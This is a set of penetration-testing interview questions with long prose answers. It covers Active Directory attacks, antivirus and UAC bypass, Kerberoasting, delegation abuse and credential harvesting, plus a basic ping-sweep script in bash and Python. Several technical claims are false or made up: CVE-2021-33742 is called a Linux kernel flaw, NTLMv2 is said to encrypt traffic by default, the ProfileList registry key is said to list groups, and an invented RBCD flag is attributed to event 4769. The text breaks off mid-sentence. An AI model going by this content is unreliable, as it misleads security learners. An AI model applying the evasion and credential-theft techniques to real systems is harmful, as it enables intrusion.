Asymmetric encryption uses two keys, a public key and a private key, to encrypt and decrypt data. The public key is freely available and used to encrypt messages, while the private key is kept secret and used to decrypt messages. Examples of asymmetric encryption algorithms include: Rivest-Shamir-Adleman (RSA): A widely used asymmetric encryption algorithm that uses prime numbers to generate the public and private keys. Elliptic Curve Cryptography (ECC): A more recent asymmetric encryption algorithm that uses elliptic curves to generate the public and private keys. Both symmetric and asymmetric encryption algorithms have their own strengths and weaknesses, and are used in different situations depending on the security requirements of the data being protected. For example, symmetric encryption is typically faster and more efficient for encrypting large amounts of data, while asymmetric encryption is more secure for transmitting keys securely and enabling secure communication between two parties without needing to share a secret key. Explain the difference between Brute forcing and password spraying Brute forcing and password spraying are both methods used to crack passwords, but they differ in their approach and level of sophistication. Brute forcing is a method of guessing a password by trying every possible combination of characters until the correct one is found. Brute forcing attacks typically use software that automates the process of trying multiple combinations of characters, starting with the most commonly used passwords and dictionary words, and progressing to more complex and lengthy combinations of characters. Brute forcing attacks can be time-consuming and resource-intensive, but they can be effective in cracking weak passwords or those that are easily guessable. Password spraying, on the other hand, is a method of guessing a password by trying a small number of commonly used passwords across a large number of user accounts. Password spraying attacks typically target a large number of user accounts with the same password, such as “Password123” or “Welcome123”, which are commonly used passwords. Password spraying attacks can be more efficient than brute forcing attacks, as they only require a small number of attempts per account, but they can also be less effective against stronger passwords that are not commonly used. Overall, brute forcing and password spraying are two different methods used to crack passwords, and they can be used individually or in combination to increase the chances of success. The effectiveness of these attacks depends on several factors, including the strength of the passwords being targeted, the number of accounts being targeted, and the resources available to the attacker. To defend against these attacks, it is important to use strong and unique passwords, implement multi-factor authentication, and monitor for suspicious activity. How would you bypass AV? (think DLL hijacking, registry key modification, or modifying binary values within the signature) Bypassing Anti-Virus (AV) software can be challenging but there are several techniques that can be used to evade detection. Here are some examples: DLL hijacking: This technique involves replacing a legitimate DLL file with a malicious one that has the same name. When the program that relies on the DLL is executed, it loads the malicious DLL instead of the legitimate one. This can be used to execute malicious code without triggering the AV. Registry key modification: Some AV software relies on registry keys to determine if a file is malicious. By modifying the registry key associated with a file, it is possible to trick the AV into thinking that the file is legitimate and safe. Modifying binary values within the signature: Some AV software uses digital signatures to verify the authenticity of a file. By modifying the binary values within the signature, it is possible to bypass the AV detection and execute the malicious code. Polymorphic malware: Polymorphic malware is designed to change its code each time it infects a new system, making it difficult for AV software to detect it. Fileless malware: Fileless malware operates entirely in memory and does not write any files to the disk, making it difficult for traditional AV software to detect it. These techniques are just a few examples of how AV can be bypassed. However, it is important to note that using these techniques for malicious purposes is illegal and unethical. Instead, it is recommended to use these techniques in controlled environments for testing and research purposes only. Additionally, it is important to regularly update AV software and employ multiple layers of defense, such as intrusion detection systems, to detect and prevent malicious activity. what are some of the recent exploits used by APT’s and brief upon some trending CVE’s Advanced Persistent Threats (APTs) are sophisticated cyberattacks that are typically carried out by nation-state actors or other well-funded and organized groups. APTs are designed to remain undetected for long periods of time and can cause significant damage to organizations. Some recent exploits used by APTs include: Zero-day exploits: Zero-day exploits are vulnerabilities in software or hardware that are unknown to the vendor and have not yet been patched. APTs often use zero-day exploits to gain access to systems and remain undetected. Supply chain attacks: Supply chain attacks involve targeting the software or hardware supply chain to inject malware into legitimate software updates or hardware components. This can allow APTs to gain access to systems and remain undetected for long periods of time. Credential theft: APTs often use social engineering techniques or malware to steal user credentials, such as usernames and passwords, to gain access to systems. Some trending CVEs (Common Vulnerabilities and Exposures) include: CVE-2021-34527: Also known as PrintNightmare, this vulnerability in the Windows Print Spooler service allows attackers to execute code with system-level privileges. CVE-2021-22986: This vulnerability in F5’s BIG-IP application delivery controller allows remote attackers to execute arbitrary code on targeted systems. CVE-2021-26855: This vulnerability in Microsoft Exchange Server allows attackers to bypass authentication and gain access to email accounts. CVE-2021-33742: This vulnerability in the Linux kernel allows attackers to gain root privileges on targeted systems. It is important for organizations to regularly patch and update software to address known vulnerabilities and reduce the risk of APTs and other cyberattacks. Additionally, implementing strong access controls and monitoring systems can help detect and prevent unauthorized access to sensitive systems and data. What is a Purple Team? A Purple Team is a collaborative approach to cybersecurity testing that combines elements of both Red Team and Blue Team operations. The goal of a Purple Team is to improve the overall security posture of an organization by simulating real-world attack scenarios and identifying vulnerabilities and weaknesses in the security controls and processes. In a Purple Team, the Red Team simulates real-world attack scenarios using various tactics, techniques, and procedures (TTPs) to attempt to breach the organization’s defenses. The Blue Team, on the other hand, is responsible for defending against these attacks and detecting any unauthorized activity. The Purple Team provides a bridge between the Red and Blue Teams by facilitating communication, sharing knowledge, and providing feedback on the effectiveness of the organization’s security controls. The Purple Team approach helps organizations to identify weaknesses in their security defenses and to test the effectiveness of their incident response procedures. By working together, the Red and Blue Teams can help to improve the overall security posture of the organization and better prepare it to defend against real-world cyberattacks. Overall, a Purple Team can be an effective way for organizations to assess their cybersecurity readiness and identify areas for improvement. It encourages collaboration and knowledge sharing between the Red and Blue Teams, helping to improve the overall effectiveness of the organization’s security operations. Do you know what the Cyber Kill Chain is? Can you explain it? Yes, the Cyber Kill Chain is a framework that describes the stages of a typical cyberattack, from the initial reconnaissance phase to the exfiltration of data. The Cyber Kill Chain was developed by Lockheed Martin as a way to help organizations understand the tactics, techniques, and procedures (TTPs) used by attackers and to develop strategies to detect and prevent cyberattacks. The Cyber Kill Chain consists of the following stages: Reconnaissance: The attacker gathers information about the target, such as IP addresses, employee names, and email addresses, to identify vulnerabilities and weaknesses. Weaponization: The attacker develops a weapon, such as a malware payload or exploit, to use in the attack. Delivery: The attacker delivers the weapon to the target, often using methods such as phishing emails or drive-by downloads. Exploitation: The attacker uses the weapon to exploit a vulnerability in the target’s system and gain access to sensitive data or systems. Installation: The attacker installs backdoors, keyloggers, or other malware on the target’s system to maintain access and gather additional information. Command and Control: The attacker establishes communication with the compromised system to issue commands and exfiltrate data. Actions on Objectives: The attacker achieves their objectives, which may include stealing data, damaging systems, or disrupting operations. By understanding the stages of the Cyber Kill Chain, organizations can develop strategies to detect and prevent cyberattacks at each stage. For example, organizations may use security controls such as firewalls, intrusion detection systems, and endpoint protection to prevent attacks at the delivery and exploitation stages. Additionally, organizations may conduct regular security awareness training for employees to help prevent successful attacks at the reconnaissance and delivery stages. Overall, the Cyber Kill Chain is a useful framework for understanding the stages of a typical cyberattack and developing strategies to defend against them. You perform a penetration test for a client, a week later they call you, a vulnerability was found and missed during your testing, what do you do? If a client contacts me after a penetration test and reports that a vulnerability was found and missed during the testing, I would take the following steps: Acknowledge the report: First, I would acknowledge the report and thank the client for bringing the issue to my attention. I would take the issue seriously and assure the client that I will investigate the matter thoroughly. Conduct an investigation: I would investigate the issue to determine the root cause and the scope of the vulnerability. This may involve reviewing the testing methodology and results, examining the affected systems or applications, and identifying any gaps in the testing process. Provide a remediation plan: Once I have identified the cause and scope of the vulnerability, I would provide the client with a remediation plan. The plan may involve recommending patches or updates, implementing new security controls or processes, or conducting additional testing to ensure the vulnerability has been properly addressed. Take steps to prevent future issues: Finally, I would take steps to prevent similar issues from occurring in the future. This may involve reviewing and improving the testing methodology, conducting additional training for the testing team, or implementing new processes for detecting and reporting vulnerabilities. Overall, it is important to be transparent and responsive when a client reports a missed vulnerability. By acknowledging the issue, investigating the root cause, providing a remediation plan, and taking steps to prevent future issues, I can help to build trust with the client and ensure that their systems are secure. You are on an engagement and are unable to utilize commodity network scanning tools (ex: NMAP), explain how you would create your own (scripting question) If I am unable to use commodity network scanning tools such as NMAP during an engagement, I would need to create my own scanning tool using various programming languages and libraries. Here are the steps I would follow: Identify the scan requirements: Before creating a scanning tool, I would need to identify the specific requirements for the engagement. This may include identifying the scope of the scan, the types of systems or devices to be scanned, and the ports or services to be targeted. Choose a programming language: Once I have identified the scan requirements, I would choose a programming language that is well-suited for the task. Some common programming languages used for network scanning include Python, Ruby, and Go. Research relevant libraries: After choosing a programming language, I would research relevant libraries or modules that can be used to build the scanning tool. For example, the Scapy library in Python can be used to build custom packets for network scanning, while the GoPing library in Go can be used for ICMP ping sweeps. Build the scanning tool: Using the chosen programming language and libraries, I would build the scanning tool to meet the specific requirements of the engagement. This may involve writing custom code to scan for open ports, identify vulnerable services, or perform other types of reconnaissance. Test the scanning tool: Once the scanning tool has been built, I would test it to ensure that it is functioning correctly and that it is able to identify the desired targets and services. I would also test the tool against various types of defenses, such as firewalls and intrusion detection systems, to ensure that it is able to evade detection and provide accurate results. Overall, building a custom scanning tool requires a deep understanding of network protocols, programming languages, and relevant libraries. It is important to thoroughly test the tool and ensure that it is able to provide accurate and reliable results while evading detection. Make a basic network scanner in bash and python #!/bin/bash for ip in $(seq 1 254); do ping -c 1 192.168.0.$ip &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 if [ $? -eq 0 ]; then echo &quot;192.168.0.$ip is up&quot; fi done This Bash script will scan all IP addresses in the range of 192.168.0.1 to 192.168.0.254 and ping each one to check if it is up. If the ping is successful, it will print a message indicating that the IP address is up. #!/usr/bin/env python import subprocess for ip in range(1, 255): address = &quot;192.168.0.&quot; + str(ip) response = subprocess.call([&quot;ping&quot;, &quot;-c&quot;, &quot;1&quot;, &quot;-W&quot;, &quot;1&quot;, address], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) if response == 0: print(address + &quot; is up&quot;) This Python script will scan all IP addresses in the range of 192.168.0.1 to 192.168.0.254 and ping each one to check if it is up. If the ping is successful, it will print a message indicating that the IP address is up. The subprocess module is used to execute the ping command, and the stdout and stderr arguments are used to suppress the output of the ping command. How would you enumerate information in an Active Directory domain quietly? (at least quieter than bloodhound) When enumerating information in an Active Directory domain, it is important to do so as quietly as possible to avoid alerting security controls and raising suspicion. Here are some techniques that can be used to enumerate information in an Active Directory domain quietly: LDAP queries: LDAP (Lightweight Directory Access Protocol) queries can be used to gather information about users, groups, and other objects in the Active Directory domain. These queries can be performed using tools such as LDAPSearch or PowerView in a quiet manner. NetBIOS queries: NetBIOS (Network Basic Input/Output System) queries can be used to gather information about domain controllers, servers, and workstations in the Active Directory domain. These queries can be performed using tools such as NBTScan or NetBIOS Enumerator in a quiet manner. DNS zone transfers: DNS (Domain Name System) zone transfers can be used to gather information about domain controllers, DNS servers, and other objects in the Active Directory domain. These transfers can be performed using tools such as NSLookup or DNSRecon in a quiet manner. SMB queries: SMB (Server Message Block) queries can be used to gather information about shares, users, and other objects in the Active Directory domain. These queries can be performed using tools such as SMBMap or CrackMapExec in a quiet manner. SNMP queries: SNMP (Simple Network Management Protocol) queries can be used to gather information about network devices and services in the Active Directory domain. These queries can be performed using tools such as SNMPWalk or SNMPCheck in a quiet manner. It is important to note that all of these techniques can potentially be detected by security controls, so use them carefully and with appropriate permissions. Additionally, obtain proper authorization before performing any type of reconnaissance on an Active Directory domain. What are some differences between NTLM and NTLMv2? NTLM (NT LAN Manager) and NTLMv2 (NT LAN Manager version 2) are authentication protocols used in Microsoft Windows environments. Here are some of the differences between the two: Hashing algorithm: NTLM uses the MD4 hashing algorithm to encrypt passwords, while NTLMv2 uses the more secure HMAC-MD5 algorithm. This makes NTLMv2 more resistant to brute-force attacks and other password cracking techniques. Challenge/response process: NTLM uses a simple challenge/response process where the server sends a challenge to the client, and the client responds with a hashed version of the user’s password. NTLMv2, on the other hand, uses a more complex challenge/response process that includes additional information such as a timestamp and a random value to prevent replay attacks. Use of encryption: NTLM does not provide encryption of authentication traffic by default, while NTLMv2 provides encryption by using a secure channel to protect authentication traffic. Security features: NTLMv2 includes additional security features such as message integrity checks and the ability to use smart card authentication, while NTLM does not. Overall, NTLMv2 is a more secure and robust authentication protocol than NTLM, as it uses a stronger hashing algorithm, a more complex challenge/response process, and provides encryption of authentication traffic by default. Organizations are recommended to use NTLMv2 or more modern authentication protocols such as Kerberos or NTLMv2 with Extended Session Security (ESS) for improved security in their Windows environments. Advanced Windows / Active Directory Interview Questions How do you gain initial access to Active Directory from a non-domain joined machine? Gaining initial access to Active Directory from a non-domain joined machine can be challenging, but there are a few methods that can be used to achieve this: Phishing: One common method to gain initial access is through phishing attacks. By sending targeted phishing emails to employees within the organization, attackers can trick them into clicking on a malicious link or opening a malicious attachment, which can then be used to gain access to the organization’s network. VPN connections: If the organization has a VPN in place, attackers can attempt to brute force credentials or use stolen credentials to gain access to the network. Exploiting vulnerabilities: Attackers can also exploit vulnerabilities in applications or services running on the target machine to gain initial access. For example, if the target machine is running a vulnerable version of a web server or a database server, attackers can use exploits to gain access to the machine and then move laterally to other machines on the network. Pass-the-hash attacks: If an attacker has already gained access to a machine on the same network as the Active Directory domain, they can attempt to use pass-the-hash attacks to obtain valid credentials for domain user accounts. This can be achieved by dumping the credentials stored in memory on the compromised machine and then using them to authenticate to other machines on the network. Remote Desktop Protocol (RDP) attacks: If RDP is enabled on a machine in the target network, attackers can attempt to brute force RDP credentials or use stolen credentials to gain access to the machine and then move laterally to other machines on the network. DNS poisoning: Attackers can use DNS poisoning to redirect network traffic to their own malicious server, where they can intercept authentication requests and steal credentials. Social engineering: Social engineering attacks, such as pretexting or baiting, can be used to trick employees into providing login credentials or other sensitive information. For example, attackers can pose as IT support personnel and request login credentials over the phone or via email. Wi-Fi attacks: If the target network has Wi-Fi access points, attackers can attempt to gain access by exploiting vulnerabilities in Wi-Fi protocols, such as WPA2, or by performing man-in-the-middle attacks to intercept network traffic. Physical access: If an attacker gains physical access to a machine on the target network, they can attempt to extract login credentials or other sensitive information from the machine, or use the machine to pivot to other machines on the network. It is important to note that all of these methods have varying degrees of complexity and effectiveness, and their success depends on a number of factors, including the target organization’s security posture and network architecture. Organizations should implement appropriate security controls, such as strong passwords, multi-factor authentication, and network segmentation, to prevent and detect these types of attacks. What is Responder and how does it work? Responder is an open-source tool that is used to perform various network attacks, including credential harvesting, man-in-the-middle (MITM) attacks, and NetBIOS name service (NBT-NS) poisoning. It works by intercepting network traffic and tricking devices into sending their authentication credentials to the attacker instead of the intended destination. Here’s how Responder works: Responder listens on the network for NetBIOS name service (NBT-NS) requests, which are used by devices to discover other devices on the network. When a device sends an NBT-NS request, Responder responds with a fake NetBIOS name resolution, pretending to be the device that was requested. If the device that sent the NBT-NS request is configured to use NTLM authentication, it will automatically send its NTLMv1 or NTLMv2 authentication credentials to Responder as part of the authentication process. Responder logs the authentication credentials and can use them to perform password cracking attacks, or it can use the credentials to perform MITM attacks on other devices on the network. In addition to NBT-NS poisoning, Responder can also perform other types of attacks, such as LLMNR (Link-Local Multicast Name Resolution) poisoning, HTTP/HTTPS traffic capture, and SMB (Server Message Block) relay attacks. These attacks are often used by attackers to gain access to sensitive information or to perform lateral movement within a network. It is important to note that Responder can be a powerful tool for attackers, but it can also be used for defensive purposes, such as identifying weak authentication methods or misconfigured network settings. As with any tool, it should only be used for legitimate purposes and with appropriate permissions. Where can you find cleartext credentials in AD and what are some places to look for them? In Active Directory, clear-text credentials can be stored in a number of places. Here are some places to look for them: Group Policy Preferences (GPP): GPP is a feature in Active Directory that allows administrators to set user and computer configuration settings. GPP can be used to store credentials in plain text format, which can be easily extracted using tools like Mimikatz or LaZagne. SYSVOL: SYSVOL is a shared folder on domain controllers that contains Group Policy settings, scripts, and other information. SYSVOL can be used to store login scripts, batch files, or other files that contain plain-text credentials. Local SAM database: The local SAM (Security Accounts Manager) database on Windows machines can contain hashed passwords for local user accounts. If an attacker can obtain access to the SAM database, they can use tools like John the Ripper or Hashcat to crack the password hashes and obtain clear-text passwords. Memory: Clear-text credentials can be stored in memory on Windows machines. Tools like Mimikatz can be used to extract passwords from memory, including passwords for local user accounts and domain accounts. Configuration files: Some applications store login credentials in configuration files, which can be stored in plain text format. These files can be found in various locations, such as in the application’s installation folder, in the user’s profile folder, or in a shared folder on the network. It is important to note that obtaining clear-text credentials in Active Directory can be a violation of security policies and can have serious legal and ethical implications. Only authorized personnel should be performing these types of activities for legitimate purposes, such as performing security assessments or forensic investigations. what is the difference between SAM database and NTDS.dit file The SAM (Security Accounts Manager) database and the NTDS.dit file are both important components of the Windows security architecture, but they serve different purposes: SAM database The SAM database is a file that contains user account and group information for the local Windows system. It is used to authenticate local user accounts and manage local security policies, such as password policies and account lockout policies. The SAM database is stored on the local system and is not used for domain authentication. NTDS.dit file The NTDS.dit file is a database file that contains user account and group information for an Active Directory domain. It is used to authenticate domain user accounts and manage domain security policies, such as password policies and account lockout policies. The NTDS.dit file is stored on domain controllers and is replicated between domain controllers to ensure consistency. In summary, the SAM database is used for local authentication on a Windows system, while the NTDS.dit file is used for domain authentication in an Active Directory environment. How would you enumerate privileges on windows domain and windows local machine itself Enumerating privileges on a Windows domain or a Windows local machine can be an important step in assessing the security posture of the system. Here are some methods and tools that can be used to enumerate privileges on Windows: Windows Management Instrumentation (WMI): WMI can be used to query information about user accounts and groups, including their privileges. For example, the following command can be used to retrieve a list of user accounts and their privileges on a local Windows machine: Get-WmiObject -Class Win32_UserAccount -Filter &quot;LocalAccount=&apos;True&apos;&quot; | Select-Object Name, Disabled, PasswordExpires, PasswordRequired, Description, PasswordChangeable, PasswordNeverExpires, PasswordAge, LastLogon, PasswordLastSet, Privileges | Format-Table -AutoSize For example, the following WMI query can be used to retrieve a list of local groups on a Windows machine: Get-WmiObject -Class Win32_Group -Filter &quot;LocalAccount=&apos;True&apos;&quot; | Select-Object Name, Domain, SID, Description, Status | Format-Table -AutoSize Net.exe command: The Net.exe command can be used to view the privileges assigned to a user or group on a Windows domain. For example, the following command can be used to view the privileges assigned to the “Domain Admins” group: net group &quot;Domain Admins&quot; /domain PowerShell scripts: PowerShell scripts can be used to enumerate privileges on Windows. For example, the following script can be used to retrieve a list of privileged users and groups on a local Windows machine: Get-LocalGroupMember Administrators | Select-Object Name, PrincipalSource, ObjectClass | Format-Table -AutoSize Active Directory Users and Computers (ADUC): The ADUC tool can be used to view the properties of user accounts and groups in Active Directory, including their privileges. For example, the “Member Of” tab in the properties of a user account shows the groups that the user is a member of, including any privileged groups. Windows Registry: The Windows Registry can contain information about user accounts and groups, including their privileges. For example, the following registry key contains a list of local groups on a Windows machine: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList Windows Event Logs: Event logs can contain information about user and group activity on a Windows machine, including changes to privileges. For example, the “Security” event log can be used to monitor changes to local group membership or user account activity. Tools like BloodHound, PowerSploit, and Mimikatz: These tools can be used to enumerate and manipulate privileges on Windows domains and local machines. For example, BloodHound can be used to visualize the permissions and trust relationships in an Active Directory environment, while Mimikatz can be used to extract and manipulate credentials from memory. In terms of specific privileges, there are many different types of privileges that can be assigned to user accounts and groups on Windows, including: Administrative privileges: These privileges give users or groups full control over a Windows machine or a domain. Service privileges: These privileges allow users or groups to control Windows services and perform actions like starting, stopping, and modifying services. Security privileges: These privileges control access to system resources, such as files, folders, and registry keys. User rights: These privileges control what actions a user can perform on a Windows machine or a domain, such as logging on locally, shutting down the system, or changing system time. The specific privileges that are available will vary depending on the version of Windows and the configuration of the system. It is important to carefully review and manage privileges in order to maintain the security of the system. Explain Kerberoasting, how to detect it, and what are some mitigation techniques? Kerberoasting is an attack technique that targets the Kerberos authentication protocol used in Active Directory environments. It allows an attacker to obtain the hashed passwords of service accounts, which can be cracked offline using specialized tools. Here’s how Kerberoasting works: The attacker identifies a service account that has a Service Principal Name (SPN) set. SPNs are used to identify services running on a network and are associated with a user account. The attacker requests a Kerberos ticket for the service account from the domain controller. The Kerberos ticket is encrypted with the service account’s password hash. The attacker uses a tool like Rubeus or GetUserSPNs to request the password hash for the service account’s user account from the domain controller. The attacker can then use a password cracking tool like Hashcat to crack the password hash and obtain the service account’s password. To detect Kerberoasting, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, events 4769, 4768, and 4771 can indicate Kerberoasting activity. These events show Kerberos ticket requests, service ticket requests, and failed Kerberos authentication attempts, respectively. To mitigate Kerberoasting, there are several best practices that can be implemented: Implement strong password policies: Strong passwords make it more difficult for attackers to crack password hashes. Implement two-factor authentication: Two-factor authentication adds an additional layer of security by requiring a second factor, such as a token or biometric information, in addition to a password. Limit exposure of service accounts: Service accounts should be limited to only the services that they are required for and should not be used for interactive logins or other unnecessary activities. Monitor Kerberos activity: Monitoring Kerberos activity can help detect Kerberoasting attacks and other unauthorized access attempts. Rotate service account passwords: Regularly rotating service account passwords makes it more difficult for attackers to crack password hashes over time. Use managed service accounts: Managed service accounts (MSAs) are a type of service account that can be used to automatically generate strong, unique passwords that are rotated on a regular basis. MSAs can help mitigate Kerberoasting attacks by making it more difficult to obtain a password hash for a service account. Overall, Kerberoasting is a serious threat to Active Directory environments, but there are several steps that can be taken to detect and mitigate this attack technique. By implementing strong security measures and monitoring Kerberos activity, organizations can help protect against Kerberoasting and other types of cyber threats. why to look for service accounts in domain rather than machine accounts which also have SPNs set? Service accounts and machine accounts both have Service Principal Names (SPNs) set, but they serve different purposes in an Active Directory environment. Service accounts are user accounts that are used to run services on a Windows machine or across a network. They are typically granted specific permissions and rights to perform their assigned tasks, and their credentials are often stored in a centralized location, such as Active Directory. Machine accounts, on the other hand, are used to authenticate and secure communications between a Windows machine and other machines or services on a network. They are used to authenticate the machine itself, rather than a specific user or service. While machine accounts may have SPNs set for certain network services or applications, they are not typically used for the same purposes as service accounts. Service accounts are often used for critical network services, such as domain controllers, web servers, or database servers, and are therefore more likely to be targeted by attackers. Additionally, service accounts may be granted higher levels of privileges and permissions than machine accounts, making them more valuable targets for attackers seeking to escalate their privileges or gain access to sensitive data. Overall, both service accounts and machine accounts can have SPNs set, but service accounts are generally a higher priority target for attackers due to their role in critical network services and their potentially higher level of access and permissions. why to look for service accounts in domain rather than user accounts which also have SPNs set? User accounts may also have Service Principal Names (SPNs) set, but they are typically not used in the same way as service accounts. User accounts are used for interactive logons and are typically granted access to resources based on their group memberships and permissions. While some user accounts may have SPNs set for certain network services or applications, they are not typically used to run critical network services like service accounts are. Service accounts, on the other hand, are specifically designed to run network services and are often granted higher levels of privileges and permissions than user accounts. This makes them valuable targets for attackers seeking to gain access to sensitive data or escalate their privileges. Furthermore, service accounts often have credentials that are stored in a centralized location, such as Active Directory, which can make them a more attractive target for attackers. By compromising a service account, an attacker can potentially gain access to sensitive information or systems across the network. Overall, while some user accounts may have SPNs set, they are not typically used in the same way as service accounts and are therefore not as high of a priority target for attackers seeking to compromise a network. Focusing on identifying and securing service accounts is often a more effective strategy for mitigating the risks associated with SPN-related attacks in a domain. Explain Constrained Delegation, how to detect it, and what are some mitigation techniques? Constrained Delegation is a feature in Active Directory that allows a user or computer to delegate its authentication to a different service or computer. This feature is designed to simplify the process of accessing resources in a distributed environment by allowing users or services to authenticate to a remote resource without the need to send their credentials over the network. However, if Constrained Delegation is not configured properly, it can be exploited by attackers to gain access to sensitive resources. For example, an attacker could use Constrained Delegation to access resources that require elevated privileges or to impersonate a legitimate user to gain access to sensitive data. Here’s how Constrained Delegation works: A user or computer sends an authentication request to a target service or computer. The target service or computer receives the authentication request and checks to see if Constrained Delegation is configured. If Constrained Delegation is configured, the target service or computer sends the authentication request to a delegated service or computer on behalf of the original user or computer. The delegated service or computer receives the authentication request and verifies the user or computer’s credentials before granting access to the requested resource. To detect Constrained Delegation, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, event 4769 can indicate Constrained Delegation activity. This event shows Kerberos ticket requests with the “Impersonation Level” set to “Impersonate” or “Delegate”. To mitigate Constrained Delegation attacks, there are several best practices that can be implemented: Limit the use of Constrained Delegation: Constrained Delegation should only be used when necessary and should be configured with the minimum required privileges. Use protocol transition: Protocol transition is a feature that allows a user or computer to switch from one authentication mechanism to another without losing their authentication context. This can be used to reduce the exposure of sensitive credentials when using Constrained Delegation. Monitor for Constrained Delegation activity: Monitoring event logs for Constrained Delegation activity can help detect unauthorized access attempts and potential attacks. Implement secure configurations: Secure configurations, such as enforcing strong password policies and using two-factor authentication, can help prevent unauthorized access to sensitive resources. Overall, while Constrained Delegation can be a useful feature in Active Directory, it can also be a potential security risk if not configured properly. By implementing best practices and monitoring for suspicious activity, organizations can help mitigate the risks associated with Constrained Delegation. Explain Unconstrained Delegation, how to detect it, and what are some mitigation techniques? Unconstrained Delegation is a feature in Active Directory that allows a user or computer to delegate its authentication to any service or computer on the network. Unlike Constrained Delegation, which is limited to a specific set of services or computers, Unconstrained Delegation allows for broader access to network resources and can therefore be more easily exploited by attackers. Here’s how Unconstrained Delegation works: A user or computer sends an authentication request to a target service or computer. The target service or computer receives the authentication request and checks to see if Unconstrained Delegation is configured. If Unconstrained Delegation is configured, the target service or computer sends the authentication request to any service or computer on the network on behalf of the original user or computer. The delegated service or computer receives the authentication request and verifies the user or computer’s credentials before granting access to the requested resource. To detect Unconstrained Delegation, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, event 4769 can indicate Unconstrained Delegation activity. This event shows Kerberos ticket requests with the “Impersonation Level” set to “Impersonate” or “Delegate”. To mitigate Unconstrained Delegation attacks, there are several best practices that can be implemented: Disable Unconstrained Delegation: Unconstrained Delegation should be disabled wherever possible to prevent unauthorized access to sensitive resources. Use Constrained Delegation instead: If delegation is necessary, use Constrained Delegation instead of Unconstrained Delegation. This allows for more granular control over access to network resources. Monitor for Unconstrained Delegation activity: Monitoring event logs for Unconstrained Delegation activity can help detect unauthorized access attempts and potential attacks. Implement secure configurations: Secure configurations, such as enforcing strong password policies and using two-factor authentication, can help prevent unauthorized access to sensitive resources. Overall, Unconstrained Delegation can be a significant security risk in Active Directory environments, but there are several steps that can be taken to mitigate these risks. By disabling Unconstrained Delegation wherever possible, using Constrained Delegation when necessary, and monitoring for suspicious activity, organizations can help protect against Unconstrained Delegation attacks. Explain Resource-Based Constrained Delegation, how to detect it, and what are some mitigation techniques? Resource-Based Constrained Delegation (RBCD) is a feature in Active Directory that allows a user or computer to delegate its authentication to a specific set of resources, rather than to any service or computer on the network. This feature provides a higher level of security than Unconstrained Delegation, as it limits the scope of access to network resources. Here’s how RBCD works: A user or computer sends an authentication request to a target service or computer. The target service or computer receives the authentication request and checks to see if RBCD is configured. If RBCD is configured, the target service or computer sends the authentication request to a specific set of resources that have been authorized for RBCD on behalf of the original user or computer. The delegated resource receives the authentication request and verifies the user or computer’s credentials before granting access to the requested resource. To detect RBCD, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, event 4769 can indicate RBCD activity. This event shows Kerberos ticket requests with the “Impersonation Level” set to “Delegate” and the “Resource-Based Constrained Delegation” flag set to “True”. To mitigate RBCD attacks, there are several best practices that can be implemented: Limit the use of RBCD: RBCD should only be used when necessary and should be configured with the minimum required privileges. TMonitor for RBCD activity: Monitoring event logs for RBCD activity can help detect unauthorized access attempts and potential attacks. Implement secure configurations: Secure configurations, such as enforcing strong password policies and using two-factor authentication, can help prevent unauthorized access to sensitive resources. Regularly review and update RBCD configurations: Regularly reviewing and updating RBCD configurations can help ensure that access to network resources is properly controlled and limited. Overall, Resource-Based Constrained Delegation is a useful feature in Active Directory environments, but it must be configured properly and used with caution to prevent unauthorized access to sensitive resources. By implementing best practices and monitoring for suspicious activity, organizations can help mitigate the risks associated with RBCD. What is SeImpersonatePrivilege, and how can it be used for privilege escalation? SeImpersonatePrivilege is a Windows security privilege that allows a user or process to impersonate another user or security context. This privilege is often used by system services and applications to access resources on behalf of other users or processes. However, if an attacker is able to obtain SeImpersonatePrivilege, they can use it to impersonate other users or processes and potentially escalate their privileges. For example, an attacker could use this privilege to access sensitive files, execute code with higher privileges, or impersonate other users to gain access to sensitive resources. There are several ways that SeImpersonatePrivilege can be obtained for privilege escalation: Local Group Policy: If an attacker is able to modify local Group Policy settings, they can enable SeImpersonatePrivilege for their own user account or for another user account that they control. Exploiting vulnerabilities: Certain vulnerabilities in Windows or third-party software can be exploited to gain SeImpersonatePrivilege. Stealing credentials: If an attacker is able to obtain valid credentials for a user or service that has SeImpersonatePrivilege, they can use these credentials to impersonate that user or service and escalate their privileges. To mitigate the risks associated with SeImpersonatePrivilege, it is important to follow security best practices, such as: Limiting the number of users or services that have SeImpersonatePrivilege. Enabling auditing and monitoring of SeImpersonatePrivilege usage to detect suspicious activity. Implementing strong password policies and two-factor authentication to prevent credential theft. Regularly patching and updating Windows and third-party software to prevent exploitation of known vulnerabilities. By implementing these best practices, organizations can help prevent attackers from using SeImpersonatePrivilege for privilege escalation and other malicious activities. How does User Account Control (UAC) work, and what are some techniques to bypass it? User Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes to the system by prompting users for permission before allowing certain actions. When an application or process tries to perform a task that requires administrator privileges, UAC will prompt the user for permission to elevate the process to a higher privilege level. UAC works by assigning each user account two security tokens: a standard user token and an administrator token. By default, when a user logs in, they are assigned a standard user token. When an application or process requires administrative privileges, UAC prompts the user to provide credentials to elevate the process to a higher privilege level. If the user provides valid credentials, UAC creates a new security token for the user that includes the administrator privileges. To bypass UAC, attackers often use social engineering techniques to trick users into elevating privileges without realizing it. For example, an attacker might create a malicious application that appears to be legitimate and prompts the user to enter their credentials to perform a task. The user may not realize that they are granting administrative privileges to the application and inadvertently allow it to perform malicious actions. There are several techniques that can be used to bypass UAC: DLL hijacking: Attackers can use DLL hijacking to inject malicious code into a legitimate application and bypass UAC by executing the application with administrative privileges. Fileless malware: Fileless malware uses memory-based attacks to avoid detection by traditional antivirus software and can bypass UAC by executing directly in memory. PowerShell: Attackers can use PowerShell scripts to bypass UAC by running scripts in memory or using techniques such as reflective DLL injection. Exploiting vulnerabilities: Certain vulnerabilities in Windows or third-party software can be exploited to bypass UAC and gain administrative privileges. To mitigate the risks associated with UAC bypass, it is important to follow security best practices, such as: Enabling UAC: UAC should be enabled on all Windows systems to help prevent unauthorized changes. Limiting user privileges: Users should be assigned the minimum privileges necessary to perform their job functions. Implementing strong password policies and two-factor authentication to prevent credential theft. Regularly patching and updating Windows and third-party software to prevent exploitation of known vulnerabilities. By implementing these best 